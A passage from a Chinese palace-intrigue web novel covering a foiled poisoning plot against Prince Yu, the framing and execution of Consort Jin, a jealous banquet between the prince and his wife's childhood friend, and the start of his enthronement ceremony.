说到这里贤妃轻轻拍了拍淑妃的手背,“你呀以后少说话,免得做了好事还让人嫌弃。”
淑妃听到贤妃这话,又觉得自己先前可能是看岔眼了,她撇嘴轻嗔,“臣妾就是嘴笨嘛,可是心却是好的。”
“我自然是知道的,就怕旁人不知道误会了你去。”贤妃轻笑,“我与你姐妹多年倒是知道你的心,可旁人就不一定了。”
见淑妃嘴角的弧度逐渐变得僵硬,贤妃轻轻推开淑妃拉着自己的手,“你也别和三皇子置气了,我先走了。”
看着贤妃的背影,淑妃不屑的轻哼一声。
当初若不是看到贤妃后家有钱,她还瞧不上这有个商贾娘亲的贤妃呢,满身铜臭味,除了银钱什么都没有。
贤妃走出延禧宫站在延禧宫的宫门外,对着皇后的凤仪宫看了一眼,片刻之后她看了自己身边的宫女一眼,“让人注意凤仪宫,皇后回来了就告诉本宫。”
慎刑司中。
经过钱大海的种种刑讯逼问,御书房中的一个大宫女终于在晕倒过去之前受不住招认了。
钱大海闻言立刻谄媚的看向皇后,皇后在那个宫女找人的那一瞬间就从站了起来,看到大宫女的身份,皇后眉头微蹙,“冬华,是你?”
冬华抬起因为疼痛而苍白的脸,此时她因为汗水滴入了眼睛,微微闭上了有些疼痛的眼睛,她哭着道:“是我!”
“为什么?”皇后冰冷的看着冬华,厉声道:“本宫记得当初还是本宫亲自提拔你做的御书房大宫女!你为何要这样对本宫!”
冬华羞愧的垂下头,她想把淑妃供出来,但是想到全家的性命都捏在淑妃手中,她又只能哭着道:“是奴婢辜负了皇后娘娘的恩情。”
“是谁让你给大皇子下毒的?”皇后短暂的震惊与生气之后只剩下冷漠,她看着强撑着力气与自己说话的冬华,冷声道:“你最好想清楚了再说,否则即便你今日没有得手,本宫依旧可以求皇上诛你九族!”
冬华心头一震,她努力睁大眼睛看着眼前这位再不复以前那般和蔼的皇后,嘶声哭道:“皇后娘娘奴婢也是逼不得已的啊,是慧妃娘娘威胁奴婢的啊!求您放过奴婢的家人啊!”
皇后闻言眼睛一眯,“冯茹英?”
冬华哭着点头,“就是慧妃娘娘,她拿着奴婢全家人的性命威胁奴婢,奴婢不得不从啊!”
慧妃是皇后娘娘的死对头,而自己的家人在淑妃的人手中,她这样说没有出卖淑妃,希望自己死后淑妃能够放过她的家人,皇而后娘娘有了处置慧妃的由头定然不会再诛她九族。
皇后嘴角微微翘起一抹弧度,她回头看了钱大海一眼,“你听清楚了?”
钱大海口干舌燥的吞咽了一下口水。
他轻轻点头,“奴才是听清楚了。”
皇后冷哼,“但为了避免这贱婢中途改了口供,还劳烦钱总管亲自带着人跟本宫去御书房走一趟吧。”
慧妃买通皇帝身边大宫女加害御王的事情很快就传出来了、
慧妃听到之后气得直接摔了殿中的器具,“陷害!这都是皇后那个贱人陷害本宫的!”
她还没有那么愚蠢会蠢到在皇上的眼前动楚御礼!
她若有那个魄力和胆子,当初就不会想着用那么迂回的办法去杀楚御礼,而让自己陷入如此被动的情形了!
但再怎么发脾气,皇帝身边的福清已经过来请她了,慧妃只能收起脾气跟着福清一同前往皇帝的御书房。
慧妃刚走进御书房皇后就怒气冲冲的冲上来扇了她一巴掌,“冯茹英你这个毒妇!”
慧妃抬手就要还回去,却被皇帝的冷喝制止了,“慧妃!”
慧妃抬起的手僵在半空,她委屈的抬头看了皇帝一眼,看着皇帝面无表情的盯着自己,慧妃心头一颤,她垂下头走到大殿中央跪下,哭着喊冤,“陛下,臣妾真的是冤枉的啊!”
“冤枉,那你是说冬华诬陷你了?”皇后双目赤红的看着慧妃,冷声道:“冬华与你无冤无仇,为何要诬陷你?”
慧妃抬眸瞥了皇后一眼,“也有可能是有些人为了陷害本宫使的苦肉计啊。”
“冯茹英,事到如今你还在这儿胡乱攀咬!”皇后说完对着皇帝直接跪了下去,声泪俱下,“陛下,臣妾自认嫁给您以后对待您的嫔妾宽容大度,对待您的子嗣亦是一视同仁,从未厚此薄彼,这些年来更是行得端坐得直,既然慧妃这样说了,那请陛下下旨彻查此事,还臣妾一个清白吧!”
皇帝叹了口气,他起身亲自走过去把皇后扶了起来,“你如何担心御儿的身体朕是知道的,又怎么会用御儿的身体健康冒险呢,朕自然是相信你的。”
说到这里皇帝看了慧妃一眼,冷声对福清道:“去把慧妃宫中的宫人都给朕抓到慎刑司挨个审问,你亲自盯着。”
福清应声退了出去。
慧妃急了,她跪着爬到皇帝面前,嘶声道:“陛下,臣妾是什么样的人您还不清楚吗?若臣妾要害大皇子的话,早就害了!何必等到现在呢!”
“因为你以前认为他不过是一个病秧子早晚会死,但如今不同了,我的御儿不但没死,还本皇上封了亲王,而你的儿子只是一个郡王,若我的儿子死了,你的儿子就成了名正言顺的长子了。”
皇帝听了皇后这话,眼神也瞬间变冷,他沉声对着跪在地上的慧妃道:“你若是清白的,就不会害怕朕审你宫中的宫人。”
慧妃失魂落魄的坐在青石地板上,怔怔的笑出了声音,“陛下,您怎么能这样对臣妾呢?这明显是有人在害臣妾的啊!”
“真相究竟如何,朕自有定夺。”皇帝无情地看了慧妃一眼,“若你是被冤枉的,朕自会还你清白。”
第122章 真凶另有其人
慧妃宫中有一个二等宫女很快就支撑不住招认了,说自己前两日打扫的时候听到慧妃在与翠萍嬷嬷说要对御王殿下和御王妃动手的事情,还说让冯丞相动用手中的死士杀了御王和御王妃的事情。
那个二等宫女和翠萍很快就被福清从慎刑司被带到了御书房中。
皇帝看都没看被打得满身是血的奴才,那双深邃锐利的眼睛只盯着瘫坐在地上的慧妃,冷声问,“你现在还有什么好说的?”
“臣妾没做!陛下不能因为两个婢女的口供就...”
“暗格!”那个二等宫女嘶声吼道,“慧妃娘娘床榻背后有一个暗格,里面装了她与冯丞相的书信!请陛下明查啊!”
“住口!你这个贱婢!你诬陷本宫!本宫杀了你!”慧妃几乎是瞬间红了眼,她的宫中怎么会混入了这么一个奸细!
皇帝瞧慧妃这模样,眉头微微皱了皱,他看了福清一眼,福清立刻亲自带着自己的徒弟去搜慧妃的宫殿。
皇后冷冷地睨着大势已去的慧妃,轻笑,“冯茹英,本宫自认这些年来与你虽然不对付,但却从未对你的子嗣动手,你为何非要置我儿于死地?”
“本宫说了,本宫没有做!”慧妃撑着身子站起来,眼神阴冷的看着皇后,“本宫若真的要杀了御王,过去十几年多的是动手的机会,为什么偏偏要等到现在才动手!”
“因为过去二十多年你不屑动手,你只需要等我儿去死就行了!”皇后双目赤红的看着慧妃,瞧着她如此狼狈的模样,皇后忽然冷静了,她吐了一口浊气,沉声道,“但是如今不同了,如今御儿的身体一日比一日好,又被皇上如此看重,所以你等不及了。”
“那我还说这是你构陷本宫的呢。”慧妃冷笑,“谁知道那些宫女是不是被你买通了陷害我的。”
皇帝坐在龙椅上看着你一言我一语的皇后和慧妃,眉头微微皱了起来。
好烦啊。
还有完没完呐?
这嘴皮仗打不完了是吗?
就不能等福清把证据拿来了再吵吗?
福清很快就回来了,但不是带着证据回来的,而是带着一个打扮清雅的嫔妃过来的,那个嫔妃看到皇帝就直接跪在地上磕头认罪了。
“陛下,您饶了嫔妾这一次吧,嫔妾真的没想到会闹得这么大啊。嫔妾真的不是有意想要害大皇子的,嫔妾只是想报复一下慧妃娘娘啊!”
皇帝不解的看了一眼伏在地上哭的妃嫔,又有些疑惑地抬眸看向福清。
福清赶紧把拂尘往手臂上一搭,恭敬地弯着身子对皇帝道:“陛下,奴才过去浮华宫的时候,瑾嫔正在指使自己的宫女往慧妃娘娘床榻的暗格中放书信。”
福清的徒弟小路子赶紧把手中捏着的书信递给了皇帝。
皇帝没看书信,而是盯着伏在地上不敢抬头的瑾嫔,沉声问,“你为何要报复慧妃?”
“因为慧妃娘娘嚣张跋扈,嫔妾自入宫以来没少受贵妃娘娘的挤兑。”瑾嫔说着抬手拭泪,哭着道:“慧妃娘娘以前身为贵妃,即便只是轻轻地说一句看不惯嫔妾,就会有不少位份比嫔妾高的妃子来为难磋磨嫔妾,所以嫔妾只想报复慧妃娘娘。”
瑾嫔咬了咬牙抬起头看向皇帝,“如今时机正好,只要嫔妾处理得当,那慧妃娘娘今日不死也要脱一层皮!谁知棋差一步,嫔妾还没有把那些书信放进暗格里面,福清公公就来了。”
皇后听着瑾嫔这话,双手死死地捏在一起,她真没想到慧妃这种人身边竟然也有这么忠心的跟随者,甚至不惜自己死都要帮慧妃撇清关系!
瑾嫔侧首看向皇后,又对着皇后使劲磕头,“皇后娘娘,嫔妾不是真的想害御王的,嫔妾真的只是想报复慧妃娘娘,嫔妾真的错了...”
皇后瞧着瑾嫔额头都磕红了,她冷嗤一声,对瑾嫔道:“你可知道加害皇嗣是诛九族的大罪?”
瑾嫔闻言直接哭出声,“陛下,嫔妾求您放过嫔妾的家人吧,御王殿下毕竟没有真的中毒啊!嫔妾死不足惜,但嫔妾的家人是无辜的啊!”
“不,你的家人不无辜。”皇后对着皇帝跪了下去,“陛下,今日若不是御儿警惕,现在跪在这大殿中哭的人恐怕就不是瑾嫔了,而是臣妾乃至镇国侯府还有承恩公府了!”
这不只是把她的后族撤了进来,甚至把太后的后族也扯进来了。
想到那副有毒的碗筷,李太医说上面抹了很浓的夹竹桃毒,若御儿把他夹的那口菜吃进去,那今日御儿就必死无疑。
想到自己差一点就失去了自己最看重的嫡子,皇帝的脸色瞬间阴沉了下去,他眼神冰冷的看着梨花带雨的瑾嫔,“你因为一己私心就谋害皇嗣,其罪当诛九族,但念你为铸成大错,朕就赐你鸩酒,其家族流放通州,至于其他涉案人,全部赐死。”
瑾嫔闻言直接瘫坐在地上,她深深地看了慧妃一眼,被人拖了出去。
慧妃面无表情地看着她被拖了出去,接着她站起身来对皇后扯了扯嘴角,冷笑道:“本宫说了,本宫是被冤枉的!”
她说着委屈地回头看了皇帝一眼,“陛下,您不相信臣妾,臣妾活在这世上还有什么意思?”
皇帝:“......”
皇后冷哼了一声,“这不是本宫诬陷你,是所有的证据都指向你,本宫早就与你说过与人为善,今日虽然不是你给御儿下毒,但御儿却差点因你而死,你也脱不了关系。”
皇后说罢对皇帝屈膝行礼之后转身就走。
皇帝被皇后那一眼看得有点心虚,后宫太多就是麻烦。
皇后离开后,皇帝冷冷地扫了一眼先前还很委屈的慧妃,他现在可升不起半点对慧妃的愧疚之心,毕竟皇后刚刚那话说得没错,我不杀伯仁伯仁却因我而死,慧妃虽然没有对御儿下毒,但是瑾嫔却是因为想陷害她而对御儿下了毒。
“慧妃,今日之事你也难逃罪责,再过两个月就是御儿十九岁生辰了,这些日子你就别出你的宫门了,朕罚你在宫中抄写经书为御儿祈福,你可有异议?”
慧妃:“......”
有!
她连自己的亲爹过生辰都没有为他抄写经书祈福,凭什么要给那个小贱种抄写经书祈福啊!
“臣妾遵旨。”慧妃垂眸应了下来。
第123章 争风吃醋的现场
延禧宫中。
淑妃听到这个小太监的回报,她意兴阑珊摆了摆手,“还以为这次即便不能动了御王,也会有个意外收获,没想到半路居然杀出了这么个程咬金。”
不怎么在淑妃身边伺候的陶嬷嬷此时又在淑妃身侧站着,听淑妃这么说,陶嬷嬷低声道:“只是可惜了我们安排在浮华宫一个眼线而已。”
陶嬷嬷叹气,“咱们安插在各宫中的眼线只有慧妃身边的那个宫女爬到了二等的位置,其他各宫中的都在不重要的位置上,实在是可惜了。”
御王府。
楚御礼那边也很快接到了消息,正与姜黎婳商量着何时宴请赵旭庭的楚御礼闻言轻轻挥手让昭临退下,接着他抬眸看了姜黎婳一眼,“看来咱们都小瞧了这位淑妃娘娘了。”
“是啊,咱们这位淑娘娘还真是不容小觑呢。”姜黎婳有些后怕地抬眸看向一脸轻松的楚御礼,“还好殿下您警惕,不然今天后果不堪设想。”
“还要有娘子你一直以来的提醒,才让我保持警惕。”楚御礼牵着姜黎婳的手,指了一下皇历上的日子,“这日如何,第二天就是封王大典,我们就在这头一天宴请赵公子,较为有诚意。”
姜黎婳瞧着忽然又把注意力转到皇历上的人,轻笑,“这真的是有诚意?”
楚御礼颔首,“那当然。”
他要很有诚意地跟那不知深浅的赵公子好好地炫耀一下自己的地位!然后再好好地炫耀一下自己的王妃!
让他少觊觎不属于自己的人!
时间过得很快,时间一晃就过去了一个月,日子也很快来到了封王大典的前一日。
中间瑾嫔的家族被流放通州,瑾嫔也被赐死,当时涉案的两个宫女也被杖责致死,皇帝又给楚御礼夫妇赏赐了不少好东西作为安抚。
慧妃听到这消息后,又发了好大一通脾气。
值得一说的是三皇子楚巍澜还是从淑妃那里拿了两样压箱底的好东西登门恭贺楚御礼夫妇封王和怀孕,他们夫妇也来者不拒地收了。
而被下了药之后在家中沉寂了一些时日的吕静雅也在听姜黎婳说起要宴请赵旭庭吃饭作为答谢的时候,主动提出与姜黎婳他们一同前去,毕竟那天赵旭庭帮了她...
而且她还迷迷糊糊的记得自己对人家做出了一些出格的举动,今日宴请人家除了好好感谢对方之外,还得为自己所做的举动道歉...
姜黎婳自然没有意见。
她问楚御礼,楚御礼更是求之不得。
他甚至在想,若有可能的话,他还可以暗中当一下推手,促成一段良缘,毕竟这永宁伯府和江南节度使家也算是门当户对了。
聚香楼安静的雅间中,雕花鎏金屏风后面的圆桌旁边坐了四个人,姜黎婳面容带笑地拉着吕静雅介绍赵旭庭,“这位是赵旭庭赵大哥,是江南节度使家的独子,与我情同兄妹,束郡王大婚那日就多亏了他帮忙,你才能安全无虞。”
说起那天,吕静雅就想到自己在药物的作用下做的那些丢脸的事情,她面色羞红的抬眸看了一眼容貌俊逸的赵旭庭一眼,低声道:“那天多谢赵公子了。”
她端起酒杯站起来,“我敬赵公子一杯。”
赵旭庭赶紧站起来道:“喝酒就不必了,不如喝茶吧。”
他是真怕这人喝醉了酒也和那天一样做出不清醒的事情啊...
所以为了安全起见,还是喝茶比较好。
吕静雅有些尴尬地端着酒杯,片刻之后她点头,“那赵公子喝茶,我就喝酒。”
“都是自己人,你也别喝酒了。”姜黎婳把吕静雅手中的酒被取走,换成了茶水,“就以茶代酒吧。”
身着玄色锦衣的楚御礼听到姜黎婳这句自己人,他捏着青花瓷茶杯的手微微一顿,眉头也微不可查地皱了皱,这赵旭庭和他们才不是自己人。
他的手指在青花瓷茶杯的杯沿上轻轻摩擦了一下,接着轻笑着抬眸看了赵旭庭一眼,他端起茶杯站起来,“既然娘子唤赵公子为赵大哥,那本王也不和赵公子客气了,那日多谢赵公子出手相助,为娘子解围,本王也以茶代酒敬赵公子一杯。”
“不敢当。”赵旭庭端着茶水喝了一口,笑意不达眼底,“在下倒是
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担不起御王殿下这声感谢了。”
他看了姜黎婳一眼,轻笑,“在下与小花儿自小一起长大,我们之间的情谊自然不必言谢,御王殿下也不必代替她来感谢我。”说着他对姜黎婳轻轻一笑,“如今你哥哥不在京城,你举目无亲,若是在王府受了委屈,就去赵府找我,我虽然不如御王殿下有权势,但可以拼尽全力保护你,不至于让你怀了身孕还能**。”
赵旭庭说到这里顿了顿,意有所指地看了楚御礼一眼,沉声道:“更不会在你怀了身孕后还让你独自出行,都不陪着你。”
楚御礼眼睛一眯,坐下伸手揽着姜黎婳的腰肢,接着偏头看着赵旭庭,轻笑道:“赵公子说笑了,本王疼婳儿都来不及,又怎么会让婳儿受委屈,至于那日**的事情...”
他眼神转冷,“也难为赵公子过了这么些日子还记得了,不过那日之后本王也的确不敢让婳儿单独出行了。”
他垂眸温柔地看了一眼姜黎婳平坦的小腹,伸手端起燕窝轻轻吹了吹,体贴的喂到姜黎婳嘴边,轻声道:“毕竟赵公子说得对,她如今怀了本王的孩子,本王应当更体贴更小心才是。”
姜黎婳听着这两人夹枪带炮的话,再垂眸看了一眼喂到嘴边的燕窝,她张嘴巴燕窝吃进嘴里,瞬间觉得索然无味。
这两人是不是气场不和啊?
怎么才第二次见面就跟仇人一样啊?
楚御礼瞧她没有抗拒自己的投喂,他眼神柔和了不少,心头对赵旭庭的怨念都没那么深了。
他又舀起一勺燕窝吹了吹去喂姜黎婳,“再说了,婳儿可是本王唯一的妻子,本王自然会比旁人更关心她的安危。”
赵旭庭现在根本听不进去楚御礼在说什么,只觉得楚御礼给姜黎婳喂东西的画面无比刺眼,他捏了捏茶杯转开目光,沉声道:“御王殿下最好说到做到,若你有一日敢辜负小花儿的话,即便是死,我也会带走小花儿的。”
姜黎婳脸色一沉,冷声道:“赵大哥,话可不能乱说,即便将来王爷真的辜负了我,也是我哥哥替我讨回公道。”
第124章 又争又抢的御王殿下
赵旭庭听到姜黎婳这声警告,气得差点甩袖离开,但是想到刚刚自己当着御王的面这么说,说不定真的会让这个小气的御王认为小花儿和他有点什么了。
想到自己这话可能会给小花儿带来不好的境遇,他又巴不得扇自己两巴掌,死嘴!说话这么快干什么!
他受伤的看着姜黎婳,夸张的捂着自己的胸口对她吼道,“这么多年了,你竟然还没有把我当成你哥?这么说你喊了我这么多年的哥,都是假的?”
姜黎婳瞧着他夸张的模样,总算是舒了口气,还好这人还算正常,刚刚他说的那话,真的差点让她以为赵旭庭对她怀有什么不该有的心思了。
看到赵旭庭总算是恢复了平时的模样,姜黎婳放松的喝了一口茶,撇嘴道:“我喊你一声哥,你还真把自己当哥了啊?你可别忘了你是我哥哥的学生,若真乱起来,你还得喊我一声师姑...”
“你住口吧,吃都堵不住你的嘴了吗?”赵旭庭狠狠地翻了一个白眼坐下闷闷的吃饭喝酒。
一直好整以暇的看着两人互动的楚御礼此时笑了笑,“原来赵公子的辈分这么小。”
他伸手牵着姜黎婳的手,不看赵旭庭,自顾自的问姜黎婳,“既然他要喊你师姑,是不是得唤为夫师姑父啊?”
姜黎婳无语,她偏头看着楚御礼,用眼神对他说,你能不能别添乱了?
楚御礼好像看懂了她眼神中的意思,笑着耸了耸肩,他抬眸对赵旭庭举了举茶杯,“本王开玩笑,赵公子别介意。”
赵旭庭冷笑,“御王殿下真会开玩笑,一点都不好笑。”
楚御礼挑了挑眉,她偏头亲昵地贴在姜黎婳耳边低声问,“不好笑吗?我觉得挺好笑的啊。”
赵旭庭:“......”
说话就说话,贴那么近做什么?生怕别人不知道她是你的王妃吗?
姜黎婳感受到楚御礼的呼吸打在自己的耳朵上,她脸颊微红,轻轻地推了推他的脸,“正经点。”
当着外人的面还这么黏人。
楚御礼被她这么一推,不但没有坐直身子,反而弹回去把脸贴在她的肩膀上,伸手抱住她的腰肢,一脸贴慰地说道:“都不是外人,身为兄长的赵公子和身为妹妹的吕小姐看到我们夫妇感情这么好,都会为我们高兴的。”
他目光从旁边两人脸上扫过,笑着问,“二位说是不是?”
吕静雅第一次见人在自己面前这么秀恩爱,她面红耳赤地点头,“是。”
楚御礼轻笑,“你瞧,吕小姐都这么说了。”他捏着姜黎婳柔弱无骨的手指,“都是自己人,咱们就当在家中一样自在就是。”
他抬眸看向没有发表意见的赵旭庭,“赵公子应该也不介意吧?”
“毕竟是在外面,御王殿下还是注意一点影响。”赵旭庭面无表情地又喝了一杯酒。
楚御礼耸肩,“本王与娘子乃是三书六聘明媒正娶的夫妻,夫妻恩爱就算是旁人看了去也是人人乐道,怎么影响不好了?”
他端起酒壶又给赵旭庭倒了一杯,“赵公子莫不是因为年纪大了还没娶妻,嫉妒本王了吧?”
赵旭庭:“......”
姜黎婳无语了,她现在确定了,这人说宴请人家答谢人家之前的出手相助是假,出来炫耀自己有媳妇儿倒是真的了。
倒是吕静雅这时候抬眸看了俊逸的赵旭庭一眼,低声问,“赵公子如今还没定亲吗?”
“我们赵家不兴先成家再立业那一套。”赵旭庭端着酒杯又一饮而尽,他扫了楚御礼一眼,嗤笑,“我也从小就身强体壮无需娶亲冲喜,所以的确还没有定亲。”
姜黎婳:“......”
她确定了,这两人就是八字不合。
有必要这么针锋相对吗?
还有赵旭庭,你是真头铁啊!这位好歹是王爷,说你两句,你忍忍就是了,为什么非要和人争个输赢啊?
现在还讽刺人家身体不好?真不怕死啊?
害怕楚御礼被赵旭庭刺激到,真的把赵旭庭怎么样,她反手握住楚御礼捏着自己手指的手,示意他别往心里去。
楚御礼根本没有生气,不过瞧姜黎婳主动安抚自己,他自然不会拒绝,他暗淡地垂眸,叹气,“唉,生在皇家身不由己,本王自然没有赵公子这种高门独子的快活和肆意还有好运。”
说到这里他又面露庆幸,他偏头看着姜黎婳,被姜黎婳握着的手也慢慢收紧,“不过我也要感激父皇他们为我冲喜,才让我遇到了今生挚爱。”
他深情地看着姜黎婳,“能娶到你为妻,即便是死,我也无憾了。”
“别胡说。”姜黎婳眉头微蹙,“别说什么死不死的。”
楚御礼抬起另一只手抚平她的眉心,颔首,“嗯,不说,以后我会长命百岁,好好保护你们娘儿俩的。”
赵旭庭:“......”
他今天是不是不该过来?
好气!
吕静雅双眼冒星的看着如胶似漆的两人,花痴地感叹,“我看的话本子有画面了!”
姜黎婳有些尴尬地嗔了楚御礼一眼,赶紧松开手从楚御礼手中抽回自己的手,楚御礼笑着给她夹菜,“多吃点,你现在怀了身孕,一个人吃两个人消化。”
姜黎婳:“......”
这是演上瘾了是吧?
楚御礼没看她,而是一边给她布菜,一边问还在对他们俩笑的吕静雅,“什么话本子有画面了?”
“王妃一胞三胎,冷酷王爷狠狠宠!”吕静雅脱口而出。
楚御礼:“......”
姜黎婳:“......”
赵旭庭瞪眼,“什么鬼?”
姜黎婳也一脸好奇,古代写话本子的人都这么前卫了吗?不过一听这名字就想去看,冷酷王爷到底是怎么狠狠宠的?
吕静雅说完之后立刻意识到自己失言了,她尴尬地捂着嘴,半晌之后给自己找补:“我没说御王您冷酷,只是想说您长得好看,婳姐姐有很漂亮,你们两人很相配。”
赵旭庭:“其实你不说话,也没关系的。”
楚御礼轻笑,他亲自给吕静雅斟茶,“说这么多口干了吧?喝点茶继续说。”
他爱听!
特别是赵旭庭不爱听的这些话,他更爱听。
姜黎婳拿着筷子夹菜,“吃饭吧,菜饭都要凉了。”
她偏头去看吕静雅,“你回去之后转告外祖母过两日我登门去看她。”
吕静雅也不敢再说话本子的事情了,听姜黎婳这么说,她点头,“只是这几日姑母时常登门求外祖母原谅,婳姐姐你介不介意到时候会和姑母遇上?”
姜黎婳手上的动作一顿,接着她笑,“那再过些日子去看她老人家。”
第125章 这么好看的娘子是我一个人的
八月迎来了秋风,夏日的燥热在初秋已经不怎么感受得到了,秋日的清晨还会让人觉得有些凉意,楚御礼前几日特意让裁缝来给姜黎婳量了尺寸,制作秋日的衣裳。
今天是楚御礼的封王大典,夫妇两人早早就起来了,楚御礼今天穿的是暗红色的蟒纹朝服,长发全部挽起用金冠固定,他没有刻意打扮,却依旧丰神俊逸,气质非凡。
坐在梳妆镜前由知夏梳妆的姜黎婳从镜中看到他忍不住多看了两眼,她不是第一次看到他穿红色,但今日这暗红色的蟒纹朝服又给他添了几分庄重,看上去严肃又冷峻,让她忍不住想去冒犯...
楚御礼感受到她的目光,抬眸和镜中的她对视,接着他展袖转身,笑问,“娘子觉得为夫今日这一身,如何?”
姜黎婳偷看被抓了个现行,她欲盖弥彰地收回眼神,“王爷长得好看,自然穿什么都好看。”
“唉。”楚御礼摇头一叹,“我就知道娘子在敷衍为夫。”
姜黎婳回头,“嗯?”
知夏已经为她完成了妆容,她额间点着花钿,眼角用细小的珍珠作为点缀,妩媚中又带着一丝丝娇柔,让人忍不住想欺负一下。
楚御礼看着她这妆容,喉间滚动了一下,到嘴边的话也被他抛之脑后,他抿了抿嘴伸手拿起首饰盒里面的孔雀金钗和步摇亲自为姜黎婳戴上。
“娘子你真好看。”他蹲下身子,拉着她的手,声音沙哑,“真不想让你参加今日的封王大典。”
想到自己这么好看的娘子今天会在大殿上被人盯着看,他就觉得浑身不舒服,娘子是他一个人的,不想给别人看!
姜黎婳不知道某人是一个占有欲极强的人,听他这么说还以为他又在逗自己开心,她笑着从楚御礼手中抽回自己的手,选了一对流苏耳坠的金耳环戴在耳朵上,“原来在王爷心中我这么不重要,连你的封王大典我都不能参加。”
她说罢叹了口气,“既然王爷不想让我去见证你人生重要的时刻,那我不去便是。”
“谁说不想让你看的!”楚御礼急了,他站起来一把搂着姜黎婳的腰让她贴着自己站起来,“我就是不想让别人盯着你看,你是我的。”
姜黎婳:“.......”
这人还正常吗?
“娘子,不如咱们不去参加这劳什子的封王大典了好不好?”楚御礼把头埋在姜黎婳的颈窝,灼热的气息打在她的脖子上,惹红了一片。
站在一旁打算帮姜黎婳更衣的知夏悄无声息地退了下去。
出去之后她狂抚自己的手臂,妈呀,她刚刚差点被肉麻死了!
外人一定不知道他们王爷是这种人!
姜黎婳也没想到楚御礼这人竟然这么不靠谱,他还想放皇帝的鸽子不去封王大典了?
“王爷,别人想要一个封王大典还没有呢,你真的不想去参加?”姜黎婳双手用劲推开抱着自己的楚御礼,“今天肯定有好戏要上演的,不想看?”
楚明暄因为大婚之日闹出丑事而虐杀婢女的事情在京城闹得沸沸扬扬,把皇帝气得直接取消了他的封王大典。
而且她装有孕装了这么久,今天可能就会有不小的收获,她怎么能不去参加封王大典呢。
不去封王大典,几个月之后,她要怎么变出一个好大儿来?
说起这件事情姜黎婳还是有些奇怪的,她和楚御礼成亲这么久一直都有夫妻之实,而且楚御礼这人每次都特别勤奋的要来好几次,怎么她的运气就这么好,一直不怀孕呢?
姜黎婳花了一些时间说服这占有欲极强的大狗,然后大狗亲自伺候她穿上了深绿色的云霞凤纹朝服。
明明是比较深沉显老的颜色,但穿在姜黎婳身上却丝毫不违和,反而给人一种眼前一亮的新鲜感。
楚御礼看着每天都可以给自己新惊喜的娘子,心想以后可以多给娘子准备一些不同地方的衣服和首饰,让她每天换着风格穿...
穿给他看!
想到这么好看这么多变的娘子是自己的,别人只能看的份儿,楚御礼心情又好了...
他牵着姜黎婳大步往王府外走去,知夏和昭临等人根本追不上...
姜黎婳瞧着先前不愿意让自己出门,现在又脚下生风的人,忍不住问,“王爷这么着急做什么?”
楚御礼眉眼带笑,“当然是去炫耀了,这么好看的人是我的娘子,旁人只有羡慕嫉妒的份儿!”
姜黎婳摸了一下自己的小腹,轻声道:“但妾身如今有了身孕,动作不能太大。”
“是啊王爷,您好歹体谅一下咱们王妃呀。”知夏心惊胆跳地追上来,不怕死的抱怨了一句。
楚御礼睨了知夏一眼,心想看在你如此忠心我娘子的份上,原谅你的以下犯上。
他弯腰一把抱起姜黎婳,“这样行了吗?”
姜黎婳脸颊羞红,“王爷,被人瞧见成何体统!”
“我疼娘子就是最大的体统。”楚御礼说罢抱着姜黎婳上了马车。
太庙。
今日封王大殿在这边举行,皇上下令文武百官包括后宫嫔妃都过来观礼。
礼部的人早早就过来祭拜天地了,只待吉时和主角到了,就可以正式开始走封王流程。
楚明暄站在人群最前方看着庄严的仪式现场,他气得双手捏得死死的,真没想到那短命鬼在死前竟然还能有如此风光的封王大典!
而自己不但只是一个郡王,还是一个需要约束好自己的郡王!连一个正式的封王大典都没有!
而这一切的罪魁祸首...
楚明暄阴沉地看了刑部尚书蓝天群一眼,都是这老匹夫的好孙女害他变成这样子的!苏清欢那个贱货和苏家如今已经完了,蓝家...他一定不会放过蓝家的!
听说前两日楚巍澜那个蠢货还去给蓝家那个贱婢求情了,说什么她也是被苏清欢蒙蔽的,他忘了谁才是他的亲人了吗?
竟然去帮一个害了他兄长的人求情?简直眼瞎!
这些人他是一个人都不会放过的!
楚明暄胡思乱想之际忽然感觉周围一下子安静了,他收回思绪,转身朝身后看去,原本安静的场面一下变得嘈杂起来,与镇国侯府和承恩公府交好的官员上前把楚御礼夫妇团团围住恭贺。
这个画面刺激到了楚明暄,他转身就要走,却被人扯住了衣袖,他恶狠狠地回头瞪鲁卿秋,“放手!”
“王爷,若你现在走了,父皇应该更生气。”鲁卿秋抬头看向大殿前面与皇后携手走来的皇帝,“你确定能承担离开的后果吗?”
第126章 封王大典
楚明暄瞧着这些日子清瘦了不少,容貌也比之前白皙了许多的鲁卿秋,他冷哼,“少拿父皇来压我!你这种只会告状的女人,本王多看一眼都觉得恶心!”
鲁卿秋松开楚明暄的手,眉梢微微一扬,“是妾身多管闲事了。”
“哼!算你识相!”楚明暄说罢拂袖离开。
鲁卿秋瞧着楚明暄那怒气冲冲的背影,嘴角一勾,去吧去吧,我还正愁你不闹事儿呢。
要离开的楚明暄在快要走出大殿的时候被刚到的冯胜文拦住了去路,冯胜文脸色阴沉地给楚明暄见礼,“吉时就要到了,殿下要去哪儿?”
“你管本王去哪儿。”楚明暄瞪了冯胜文一眼,“让开!”
“殿下!你还想惹怒陛下吗?”冯胜文眼神冰冷的盯着楚明暄,“你如今的处境还不能让你长教训?”
“我有如今这样的境遇还不是怪你和母妃没本事!”楚明暄冷哼,“这些年你靠着本王的身份在朝堂上拉拢了多少人,又借着皇室的名声得了多少好处,还给你们冯氏一族谋了多少利益,别以为本王不知道!如今本王不过是犯了一些小事情,你们就变得束手束脚的了,现在还想来管教本王?”
冯胜文深深地吸了口气,他抬眸看着楚明暄,“你以为你做的那些丑事是谁给你掩盖的?乖乖回去参加典礼。”
他一把握住楚明暄的手,冷声威胁,“若不是因为你是我外孙,就你做的那些丑事,你以为你还能安然无恙地当王爷吗?”
“你在威胁本王?”楚明暄咬牙,看到冯胜文身后又有官员来,他压低声音厉声道:“你疯了吗?没了我,你是什么?”
“回去。”冯胜文眼睛一眯,“你若还想登上那个位置的话。”
楚明暄眼神阴鸷地看了冯胜文一眼,冯胜文想到自己的计划,他缓了口气,低声道:“我知道你这些日子受委屈了,我特意让人从扬州给你找了一个容貌极好的女子,改日就让人以女儿的身份嫁给你当侍妾。”
楚明暄听到容貌极好几个字,他回头看了一眼此时被楚御礼牵着往殿前走的姜黎婳,他舔了舔嘴唇,“有她好看吗?”
冯胜文眼里闪过一丝精光,他笑,“容貌各有千秋,但那个女人的手段,外祖父可以保证你会喜欢的。”
楚明暄吞了吞口水,“今晚我要见人。”
冯胜文眼底闪过一丝厌恶,但是想到自己的计划,他颔首,“好。”
楚明暄用舌头顶了顶腮帮笑着转身回到自己的位子上去了。
